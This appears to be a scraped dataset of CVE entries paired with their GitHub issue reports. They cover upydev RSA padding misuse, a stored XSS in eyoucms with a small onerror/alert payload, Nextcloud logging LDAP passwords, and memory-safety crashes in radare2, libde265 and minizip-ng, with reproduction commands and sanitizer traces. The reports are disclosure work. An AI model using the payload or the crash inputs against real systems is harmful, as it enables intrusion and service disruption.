In the upydev repository, specifically within the keygen.py script, the RSA algorithm is implemented with PKCS 1v1.5 padding, which is known to be insecure and vulnerable to Bleichenbacher](https://link.springer.com/content/pdf/10.1007/bfb0055716.pdf) attack which is a chosen-ciphertext attack that exploits vulnerabilities within the RSA PKCS1v1.5 padding scheme. The use of this padding scheme can lead to security issues where an attacker may exploit the vulnerability to decipher encrypted messages or forge signatures.
### Affect Version
upydev 0.4.3
### Location:
https://github.com/Carglglz/upydev/blob/master/upydev/keygen.py#L919
https://github.com/Carglglz/upydev/blob/master/upydev/keygen.py#L1176
https://github.com/Carglglz/upydev/blob/master/upydev/keygen.py#L1253
https://github.com/Carglglz/upydev/blob/master/upydev/keygen.py#L1311
https://github.com/Carglglz/upydev/blob/master/upydev/keygen.py#L1125
Expected Behavior:
The cryptographic module should utilize a secure padding scheme for RSA such as OAEP (Optimal Asymmetric Encryption Padding) which is currently recommended as a safer alternative to PKCS 1v1.5.
Actual Behavior:
The current implementation of the RSA encryption and signature verification in keygen.py uses PKCS 1v1.5 padding, which is outdated and has known vulnerabilities that compromise the security of cryptographic operations.
### Reference:
CWE-780: Use of RSA Algorithm without OAEP
### Recommendations:
It is recommended to use OAEP (Optimal Asymmetric Encryption Padding) as the encryption scheme and PSS (Probabilistic Signature Scheme) as the signature scheme, as they offer better security.
1. Refactor the RSA implementation to use OAEP padding for encryption and PSS padding for signature, which are both provided by the RSA module in standard libraries like `PyCryptodome` and `cryptography.io`.
2 . Conduct a thorough audit of the cryptographic operations throughout the application to ensure that secure practices are being followed.
It's crucial for the security of upydev users that this issue is addressed promptly, as cryptographic weaknesses can have severe implications for the privacy and integrity of communications facilitated by this tool.
```python
message = b"encrypted data"
ciphertext = public_key.encrypt(
message,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
```
> https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/#encryption
Please let me know if you require any further information or assistance in addressing this issue. | Cryptographic API Misuse Vulnerability: Do not use insecure algorithm(textbook or padding PKCS 1v1.5) for RSA | https://api.github.com/repos/Carglglz/upydev/issues/38/comments | 0 | 2023-11-07T10:12:14Z | 2023-11-07T10:12:14Z | https://github.com/Carglglz/upydev/issues/38 | 1,981,001,689 | 38 | 5,763 |
CVE-2023-46935 | 2023-11-21T07:15:09.967 | eyoucms v1.6.4 is vulnerable Cross Site Scripting (XSS), which can lead to stealing sensitive information of logged-in users. | {
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] | github.com | [
"weng-xianhu",
"eyoucms"
] | Software Link : https://github.com/weng-xianhu/eyoucms
Website : http://www.eyoucms.com/
Vulnerable version 1.6.4 download address ：https://qiniu.eyoucms.com/source/EyouCMS-V1.6.4-UTF8-SP1_1015.zip
After the installation is complete, log in as admin, open the page
[](https://imgse.com/i/piEvffK)
[](https://imgse.com/i/piEvoOH)
Here you can fill in malicious JavaScript code to cause stored xss
[](https://imgse.com/i/piEvXff)
Enter the code and it will be automatically saved successfully
[](https://imgse.com/i/piEx3h6)
Refresh the page
Malicious code is inserted into the webpage
[](https://imgse.com/i/piEx6gS)
Causes stored XSS to steal sensitive information of logged-in users
[](https://imgse.com/i/piExdHA)
POC :
```Plaintext
"><img src=1 onerror=alert(/xss/)><
```
| There is stored XSS in version 1.6.4 which can lead to stealing sensitive information of logged-in users | https://api.github.com/repos/weng-xianhu/eyoucms/issues/55/comments | 1 | 2023-10-25T08:40:36Z | 2024-03-22T02:09:22Z | https://github.com/weng-xianhu/eyoucms/issues/55 | 1,960,863,122 | 55 | 5,764 |
CVE-2023-48305 | 2023-11-21T23:15:07.373 | Nextcloud Server provides data storage for Nextcloud, an open source cloud platform. Starting in version 25.0.0 and prior to versions 25.0.11, 26.0.6, and 27.1.0 of Nextcloud Server and Nextcloud Enterprise Server, when the log level was set to debug, the user_ldap app logged user passwords in plaintext into the log file. If the log file was then leaked or shared in any way the users' passwords would be leaked. Nextcloud Server and Nextcloud Enterprise Server versions 25.0.11, 26.0.6, and 27.1.0 contain a patch for this issue. As a workaround, change config setting `loglevel` to `1` or higher (should always be higher than 1 in production environments). | {
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"312"
] | 312 | https://github.com/nextcloud/server/issues/38461 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"nextcloud",
"server"
] | ### ⚠️ This issue respects the following points: ⚠️
- [X] This is a **bug**, not a question or a configuration/webserver/proxy issue.
- [X] This issue is **not** already reported on Github _(I've searched it)_.
- [X] Nextcloud Server **is** up to date. See [Maintenance and Release Schedule](https://github.com/nextcloud/server/wiki/Maintenance-and-Release-Schedule) for supported versions.
- [X] Nextcloud Server **is** running on 64bit capable CPU, PHP and OS.
- [X] I agree to follow Nextcloud's [Code of Conduct](https://nextcloud.com/contribute/code-of-conduct/).
### Bug description
The user_ldap app seems to log all LDAP operations, including parameters, in plain text.
https://github.com/nextcloud/server/blob/b6d734375478c791a146e2ec5ad61ac1a699e436/apps/user_ldap/lib/LDAP.php#L320-L324
For the `ldap_bind` command this looks like
```
Calling LDAP function ldap_bind with parameters [{},"<full user DN>", "<plain text password"]
```
### Steps to reproduce
1. configure Nextcloud for LDAP user backend
2. connect external client (in my case Gnome online account)
3. trigger ldap_bind (e.g. by syncing the calendar in the client)
4. follow the `DEBUG` log
### Expected behavior
If logged, I would expect the line to not display the password, or to omit parameters completely:
```
Calling LDAP function ldap_bind with parameters [{},"<full user DN>", "********"]
```
or
```
Calling LDAP function ldap_bind
```
### Installation method
None
### Nextcloud Server version
26
### Operating system
Debian/Ubuntu
### PHP engine version
PHP 8.1
### Web server
Apache (supported)
### Database engine version
MariaDB
### Is this bug present after an update or on a fresh install?
None
### Are you using the Nextcloud Server Encryption module?
None
### What user-backends are you using?
- [ ] Default user-backend _(database)_
- [X] LDAP/ Active Directory
- [ ] SSO - SAML
- [ ] Other
### Configuration report
_No response_
### List of activated Apps
```shell
Enabled:
- activity: 2.18.0
- bruteforcesettings: 2.6.0
- calendar: 4.3.4
- circles: 26.0.0
- cloud_federation_api: 1.9.0
- comments: 1.16.0
- contacts: 5.2.0
- contactsinteraction: 1.7.0
- dashboard: 7.6.0
- dav: 1.25.0
- federatedfilesharing: 1.16.0
- federation: 1.16.0
- files: 1.21.1
- files_markdown: 2.4.0
- files_pdfviewer: 2.7.0
- files_rightclick: 1.5.0
- files_sharing: 1.18.0
- files_trashbin: 1.16.0
- files_versions: 1.19.1
- firstrunwizard: 2.15.0
- jitsi: 0.17.0
- logreader: 2.11.0
- lookup_server_connector: 1.14.0
- nextcloud_announcements: 1.15.0
- notes: 4.7.2
- notifications: 2.14.0
- oauth2: 1.14.0
- onlyoffice: 7.8.0
- password_policy: 1.16.0
- photos: 2.2.0
- privacy: 1.10.0
- provisioning_api: 1.16.0
- recommendations: 1.5.0
- related_resources: 1.1.0-alpha1
- serverinfo: 1.16.0
- settings: 1.8.0
- sharebymail: 1.16.0
- support: 1.9.0
- systemtags: 1.16.0
- tasks: 0.15.0
- text: 3.7.2
- theming: 2.1.1
- twofactor_backupcodes: 1.15.0
- updatenotification: 1.16.0
- user_ldap: 1.16.0
- user_status: 1.6.0
- viewer: 1.10.0
- weather_status: 1.6.0
- workflowengine: 2.8.0
Disabled:
- admin_audit: 1.16.0
- deck: 1.8.3 (installed 1.8.3)
- documentserver_community: 0.1.13 (installed 0.1.13)
- encryption: 2.14.0
- files_external: 1.18.0 (installed 1.7.0)
- survey_client: 1.14.0 (installed 1.4.0)
- suspicious_login: 4.4.0
- twofactor_totp: 8.0.0-alpha.0
```
### Nextcloud Signing status
_No response_
### Nextcloud Logs
_No response_
### Additional info
_No response_ | [Bug]: user_ldap logs user passwords in plain text | https://api.github.com/repos/nextcloud/server/issues/38461/comments | 7 | 2023-05-25T12:57:10Z | 2023-08-24T09:42:53Z | https://github.com/nextcloud/server/issues/38461 | 1,725,776,026 | 38,461 | 5,765 |
CVE-2023-47016 | 2023-11-22T07:15:07.530 | radare2 5.8.9 has an out-of-bounds read in r_bin_object_set_items in libr/bin/bobj.c, causing a crash in r_read_le32 in libr/include/r_endian.h. | {
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"radareorg",
"radare2"
] | # Version
```
$ r2 -v
radare2 5.8.9 31339 @ linux-x86-64
birth: git.5.8.8-691-gb2de2288d8 2023-10-17__01:18:28
commit: b2de2288d8299f89288c503fc2ce22381b61aba0
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
WARN: mach0 header contains too many sections (268435492). Wrapping to 4
ERROR: parsing segment
WARN: Cannot initialize items
=================================================================
==651889==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6160000086ef at pc 0x7fd883ae6cf1 bp 0x7ffcc29f8db0 sp 0x7ffcc29f8da8
READ of size 1 at 0x6160000086ef thread T0
#0 0x7fd883ae6cf0 in r_read_le32 /home/user/fuzzing_radare2/radare2/libr/include/r_endian.h:194:17
#1 0x7fd883ae6cf0 in r_read_at_le32 /home/user/fuzzing_radare2/radare2/libr/include/r_endian.h:203:9
#2 0x7fd883ae6cf0 in r_read_le64 /home/user/fuzzing_radare2/radare2/libr/include/r_endian.h:217:21
#3 0x7fd883ae6cf0 in r_ptr /home/user/fuzzing_radare2/radare2/libr/../libr/bin/p/bin_xnu_kernelcache.c:475:24
#4 0x7fd883ae6cf0 in process_constructors /home/user/fuzzing_radare2/radare2/libr/../libr/bin/p/bin_xnu_kernelcache.c:992:18
#5 0x7fd883adbe7e in entries /home/user/fuzzing_radare2/radare2/libr/../libr/bin/p/bin_xnu_kernelcache.c:852:2
#6 0x7fd8837bf7f4 in r_bin_object_set_items /home/user/fuzzing_radare2/radare2/libr/bin/bobj.c:317:17
#7 0x7fd8837bec70 in r_bin_object_new /home/user/fuzzing_radare2/radare2/libr/bin/bobj.c:182:2
#8 0x7fd8837b3a72 in r_bin_file_new_from_buffer /home/user/fuzzing_radare2/radare2/libr/bin/bfile.c:613:19
#9 0x7fd883787033 in r_bin_open_buf /home/user/fuzzing_radare2/radare2/libr/bin/bin.c:310:8
#10 0x7fd8837867c3 in r_bin_open_io /home/user/fuzzing_radare2/radare2/libr/bin/bin.c:376:13
#11 0x7fd8870d2107 in r_core_file_do_load_for_io_plugin /home/user/fuzzing_radare2/radare2/libr/core/cfile.c:445:7
#12 0x7fd8870d2107 in r_core_bin_load /home/user/fuzzing_radare2/radare2/libr/core/cfile.c:653:4
#13 0x7fd88827b2ff in binload /home/user/fuzzing_radare2/radare2/libr/main/radare2.c:543:8
#14 0x7fd88827478a in r_main_radare2 /home/user/fuzzing_radare2/radare2/libr/main/radare2.c:1475:10
#15 0x55a6d135c52d in main /home/user/fuzzing_radare2/radare2/binr/radare2/radare2.c:114:9
#16 0x7fd887829d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#17 0x7fd887829e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#18 0x55a6d129e444 in _start (/home/user/fuzzing_radare2/radare2/binr/radare2/radare2+0x1f444) (BuildId: 655cd64f4959101bcf192e77bc6bf062577e0708)
0x6160000086ef is located 6 bytes to the right of 617-byte region [0x616000008480,0x6160000086e9)
allocated by thread T0 here:
#0 0x55a6d1321478 in __interceptor_calloc (/home/user/fuzzing_radare2/radare2/binr/radare2/radare2+0xa2478) (BuildId: 655cd64f4959101bcf192e77bc6bf062577e0708)
#1 0x7fd883ae6389 in process_constructors /home/user/fuzzing_radare2/radare2/libr/../libr/bin/p/bin_xnu_kernelcache.c:981:14
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user/fuzzing_radare2/radare2/libr/include/r_endian.h:194:17 in r_read_le32
Shadow bytes around the buggy address:
0x0c2c7fff9080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff9090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fff90a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fff90b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fff90c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c2c7fff90d0: 00 00 00 00 00 00 00 00 00 00 00 00 00[01]fa fa
0x0c2c7fff90e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff90f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff9110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff9120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==651889==ABORTING
```
# Reproduce
```
rabin2 -re poc
or
r2 -A -q poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/radare2/rabin2/rabin_hbo_194
# Credit
```
Gandalf4a
``` | heap-buffer-overflow at /radare2/libr/include/r_endian.h:194:17 in r_read_le32 | https://api.github.com/repos/radareorg/radare2/issues/22349/comments | 1 | 2023-10-27T11:53:55Z | 2024-08-15T06:27:11Z | https://github.com/radareorg/radare2/issues/22349 | 1,965,363,992 | 22,349 | 5,766 |
CVE-2023-43887 | 2023-11-22T18:15:08.747 | Libde265 v1.0.12 was discovered to contain multiple buffer overflows via the num_tile_columns and num_tile_row parameters in the function pic_parameter_set::dump. | {
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"strukturag",
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] | ## Summary
There is a segmentation fault caused by a buffer over-read on pic_parameter_set::dump due to an incorrect value of num_tile_columns or num_tile_rows.
## Tested with:
* Commit: 6fc550faeca2bbb1c82de5f29d970f6861146862 (master)
* PoC: [poc](https://drive.google.com/file/d/1ISOxgjmw9mPCs-vIh84hsgEB2MfMcwHj/view?usp=drive_link)
* cmd: `./dec265 -d poc`
## Crash output:
```
INFO: ----------------- SPS -----------------
INFO: video_parameter_set_id : 0
INFO: sps_max_sub_layers : 1
INFO: sps_temporal_id_nesting_flag : 1
INFO: general_profile_space : 0
INFO: general_tier_flag : 0
INFO: general_profile_idc : Main
INFO: general_profile_compatibility_flags: 0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
INFO: general_progressive_source_flag : 0
INFO: general_interlaced_source_flag : 0
INFO: general_non_packed_constraint_flag : 0
INFO: general_frame_only_constraint_flag : 0
INFO: general_level_idc : 60 (2.00)
INFO: seq_parameter_set_id : 0
INFO: chroma_format_idc : 1 (4:2:0)
INFO: pic_width_in_luma_samples : 416
INFO: pic_height_in_luma_samples : 240
INFO: conformance_window_flag : 1
INFO: conf_win_left_offset : 0
INFO: conf_win_right_offset : 0
INFO: conf_win_top_offset : 0
INFO: conf_win_bottom_offset: 0
INFO: bit_depth_luma : 10
INFO: bit_depth_chroma : 9
INFO: log2_max_pic_order_cnt_lsb : 4
INFO: sps_sub_layer_ordering_info_present_flag : 1
INFO: Layer 0
INFO: sps_max_dec_pic_buffering : 5
INFO: sps_max_num_reorder_pics : 3
INFO: sps_max_latency_increase_plus1 : 0
INFO: log2_min_luma_coding_block_size : 3
INFO: log2_diff_max_min_luma_coding_block_size : 1
INFO: log2_min_transform_block_size : 2
INFO: log2_diff_max_min_transform_block_size : 2
INFO: max_transform_hierarchy_depth_inter : 0
INFO: max_transform_hierarchy_depth_intra : 0
INFO: scaling_list_enable_flag : 0
INFO: amp_enabled_flag : 1
INFO: sample_adaptive_offset_enabled_flag : 1
INFO: pcm_enabled_flag : 0
INFO: num_short_term_ref_pic_sets : 11
INFO: ref_pic_set[ 0 ]: X...X.X.X.......|................
INFO: ref_pic_set[ 1 ]: ..........X.X...|...X............
INFO: ref_pic_set[ 2 ]: ............X.X.|.X...X..........
INFO: ref_pic_set[ 3 ]: ...............X|X.X...X.........
INFO: ref_pic_set[ 4 ]: .............X.X|X...X...........
INFO: ref_pic_set[ 5 ]: ..........X.X.X.|.X..............
INFO: ref_pic_set[ 6 ]: ...........X...X|X.X.............
INFO: ref_pic_set[ 7 ]: .............X..|X.X.X...........
INFO: ref_pic_set[ 8 ]: ........X.......|................
INFO: ref_pic_set[ 9 ]: ............X...|...X............
INFO: ref_pic_set[ 10 ]: ..............X.|.X...X..........
INFO: long_term_ref_pics_present_flag : 0
INFO: sps_temporal_mvp_enabled_flag : 1
INFO: strong_intra_smoothing_enable_flag : 1
INFO: vui_parameters_present_flag : 1
INFO: sps_extension_present_flag : 0
INFO: sps_range_extension_flag : 0
INFO: sps_multilayer_extension_flag : 0
INFO: sps_extension_6bits : 0
INFO: CtbSizeY : 16
INFO: MinCbSizeY : 8
INFO: MaxCbSizeY : 16
INFO: MinTBSizeY : 4
INFO: MaxTBSizeY : 16
INFO: PicWidthInCtbsY : 26
INFO: PicHeightInCtbsY : 15
INFO: SubWidthC : 2
INFO: SubHeightC : 2
INFO: ----------------- VUI -----------------
INFO: sample aspect ratio : 0:0
INFO: overscan_info_present_flag : 0
INFO: overscan_appropriate_flag : 0
INFO: video_signal_type_present_flag: 0
INFO: chroma_loc_info_present_flag: 0
INFO: neutral_chroma_indication_flag: 0
INFO: field_seq_flag : 0
INFO: frame_field_info_present_flag : 0
INFO: default_display_window_flag : 1
INFO: def_disp_win_left_offset : 0
INFO: def_disp_win_right_offset : 0
INFO: def_disp_win_top_offset : 0
INFO: def_disp_win_bottom_offset : 0
INFO: vui_timing_info_present_flag : 0
INFO: vui_poc_proportional_to_timing_flag : 0
INFO: vui_num_ticks_poc_diff_one : 1
INFO: vui_hrd_parameters_present_flag : 0
INFO: bitstream_restriction_flag : 0
INFO: ----------------- PPS -----------------
INFO: pic_parameter_set_id : 0
INFO: seq_parameter_set_id : 0
INFO: dependent_slice_segments_enabled_flag : 1
INFO: sign_data_hiding_flag : 1
INFO: cabac_init_present_flag : 0
INFO: num_ref_idx_l0_default_active : -84
INFO: num_ref_idx_l1_default_active : 12
INFO: pic_init_qp : 25
INFO: constrained_intra_pred_flag: 0
INFO: transform_skip_enabled_flag: 1
INFO: cu_qp_delta_enabled_flag : 0
INFO: pic_cb_qp_offset : 1
INFO: pic_cr_qp_offset : 0
INFO: pps_slice_chroma_qp_offsets_present_flag : 0
INFO: weighted_pred_flag : 0
INFO: weighted_bipred_flag : 1
INFO: output_flag_present_flag : 0
INFO: transquant_bypass_enable_flag: 0
INFO: tiles_enabled_flag : 1
INFO: entropy_coding_sync_enabled_flag: 0
INFO: num_tile_columns : 18815
INFO: num_tile_rows : 1
INFO: uniform_spacing_flag: 1
INFO: tile column boundaries: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3985 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 [1] 4017733 segmentation fault ./dec265 -d poc
```
## Analysis
While executing `decoder_context::read_pps_NAL`, parameters are read in
```c++
bool success = new_pps->read(&reader,this);
```
Inside the function, there is a check when setting `num_tile_columns` in case it goes over `DE265_MAX_TILE_COLUMNS`, which is 10.
```c++
if (tiles_enabled_flag) {
num_tile_columns = get_uvlc(br);
if (num_tile_columns == UVLC_ERROR ||
num_tile_columns+1 > DE265_MAX_TILE_COLUMNS) {
ctx->add_warning(DE265_WARNING_PPS_HEADER_INVALID, false);
return false;
}
```
After exiting due to reading more than `DE265_MAX_TILE_COLUMNS`, the headers are dumped by calling `dump`:
```c++
bool success = new_pps->read(&reader,this);
if (param_pps_headers_fd>=0) {
new_pps->dump(param_pps_headers_fd);
}
if (success) {
pps[ (int)new_pps->pic_parameter_set_id ] = new_pps;
}
```
In `dump`, the following code is executed to dump the tile column boundaries:
```c++
LOG0("tile column boundaries: ");
for (int i=0;i<=num_tile_columns;i++) {
LOG1("*%d ",colBd[i]);
}
LOG0("*\n");
```
As previously shown, `num_tile_columns` while be set to a higher number than `DE265_MAX_TILE_COLUMNS`. `colBd` is defined as:
`int colBd [ DE265_MAX_TILE_COLUMNS+1 ];`
Therefore, that loop will go over `colBd` and will print all the data pointed by the values found after the limits of `colBd` in memory until the end of the loop or the next memory address is invalid.
## Impact
* Information leak from memory
* Crash
If using a carefully crafted exploit, the impact could be an information leak without a crash.
## Patch
In order to prevent this, the `success` value should be checked before printing the information:
```diff
diff --git a/libde265/decctx.cc b/libde265/decctx.cc
index 223a6aaf..1b79adec 100644
--- a/libde265/decctx.cc
+++ b/libde265/decctx.cc
@@ -583,11 +583,10 @@ de265_error decoder_context::read_pps_NAL(bitreader& reader)
bool success = new_pps->read(&reader,this);
- if (param_pps_headers_fd>=0) {
- new_pps->dump(param_pps_headers_fd);
- }
-
if (success) {
+ if (param_pps_headers_fd>=0) {
+ new_pps->dump(param_pps_headers_fd);
+ }
pps[ (int)new_pps->pic_parameter_set_id ] = new_pps;
}
```
Another possibility could be to perform length checks inside the `dump` function to handle the case:
```diff
diff --git a/libde265/pps.cc b/libde265/pps.cc
index de3bcda1..a5abd9b3 100644
--- a/libde265/pps.cc
+++ b/libde265/pps.cc
@@ -903,14 +903,22 @@ void pic_parameter_set::dump(int fd) const
LOG1("uniform_spacing_flag: %d\n", uniform_spacing_flag);
LOG0("tile column boundaries: ");
- for (int i=0;i<=num_tile_columns;i++) {
- LOG1("*%d ",colBd[i]);
+ if (num_tile_columns+1 > DE265_MAX_TILE_COLUMNS) {
+ LOG0("Number of tile columns is invalid");
+ } else {
+ for (int i=0;i<=num_tile_columns;i++) {
+ LOG1("*%d ",colBd[i]);
+ }
}
LOG0("*\n");
LOG0("tile row boundaries: ");
- for (int i=0;i<=num_tile_rows;i++) {
- LOG1("*%d ",rowBd[i]);
+ if (num_tile_rows+1 > DE265_MAX_TILE_ROWS) {
+ LOG0("Number of tile rows is invalid");
+ } else {
+ for (int i=0;i<=num_tile_rows;i++) {
+ LOG1("*%d ",rowBd[i]);
+ }
}
LOG0("*\n");
```
## Other notes
The same issue occurs with `num_tile_rows`.
| Buffer over-read causes segmentation fault in pic_parameter_set::dump | https://api.github.com/repos/strukturag/libde265/issues/418/comments | 7 | 2023-08-30T14:08:02Z | 2024-09-05T13:23:53Z | https://github.com/strukturag/libde265/issues/418 | 1,873,762,647 | 418 | 5,767 |
CVE-2023-48106 | 2023-11-22T18:15:09.630 | Buffer Overflow vulnerability in zlib-ng minizip-ng v.4.0.2 allows an attacker to execute arbitrary code via a crafted file to the mz_path_resolve function in the mz_os.c file. | {
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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"tags": [
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"url": "https://github.com/zlib-ng/minizip-ng/issues/740"
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] | 787 | https://github.com/zlib-ng/minizip-ng/issues/740 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"zlib-ng",
"minizip-ng"
] | #### Description
heap-buffer-overflow (/minizip-ng/build/minizip+0x976d) in mz_path_resolve
#### Version
```bash
$ ./minizip -h
minizip-ng 4.0.2 - https://github.com/zlib-ng/minizip-ng
---------------------------------------------------
-h
Usage: minizip [-x][-d dir|-l|-e][-o][-f][-y][-c cp][-a][-0 to -9][-b|-m|-t][-k 512][-p pwd][-s] file.zip [files]
-x Extract files
-l List files
-d Destination directory
-e Erase files
-o Overwrite existing files
-c File names use cp437 encoding (or specified codepage)
-a Append to existing zip file
-i Include full path of files
-f Follow symbolic links
-y Store symbolic links
-v Verbose info
-0 Store only
-1 Compress faster
-9 Compress better
-k Disk size in KB
-z Zip central directory
-p Encryption password
-s AES encryption
-b BZIP2 compression
-m LZMA compression
-n XZ compression
-t ZSTD compression
```
#### Replay
```bash
git clone https://github.com/zlib-ng/minizip-ng.git
cd minizip-ng/
CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" cmake -S . -B build -D MZ_BUILD_TESTS=ON
cmake --build build
./minizip -x -o poc1
```
#### ASAN
```bash
-x -o /root/poc/minizip/poc1
Archive /root/poc/minizip/poc1
=================================================================
==3028155==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60d0000001df at pc 0x55555555d76e bp 0x7fffffffddf0 sp 0x7fffffffdde0
READ of size 1 at 0x60d0000001df thread T0
#0 0x55555555d76d in mz_path_resolve (/root/test/minizip-ng/build/minizip+0x976d)
#1 0x555555573c77 in mz_zip_reader_save_all (/root/test/minizip-ng/build/minizip+0x1fc77)
#2 0x55555555af70 in minizip_extract (/root/test/minizip-ng/build/minizip+0x6f70)
#3 0x55555555c7ec in main (/root/test/minizip-ng/build/minizip+0x87ec)
#4 0x7ffff73a9082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#5 0x555555558aed in _start (/root/test/minizip-ng/build/minizip+0x4aed)
0x60d0000001df is located 1 bytes to the left of 129-byte region [0x60d0000001e0,0x60d000000261)
allocated by thread T0 here:
#0 0x7ffff76a0808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x55555557391b in mz_zip_reader_save_all (/root/test/minizip-ng/build/minizip+0x1f91b)
#2 0x55555555af70 in minizip_extract (/root/test/minizip-ng/build/minizip+0x6f70)
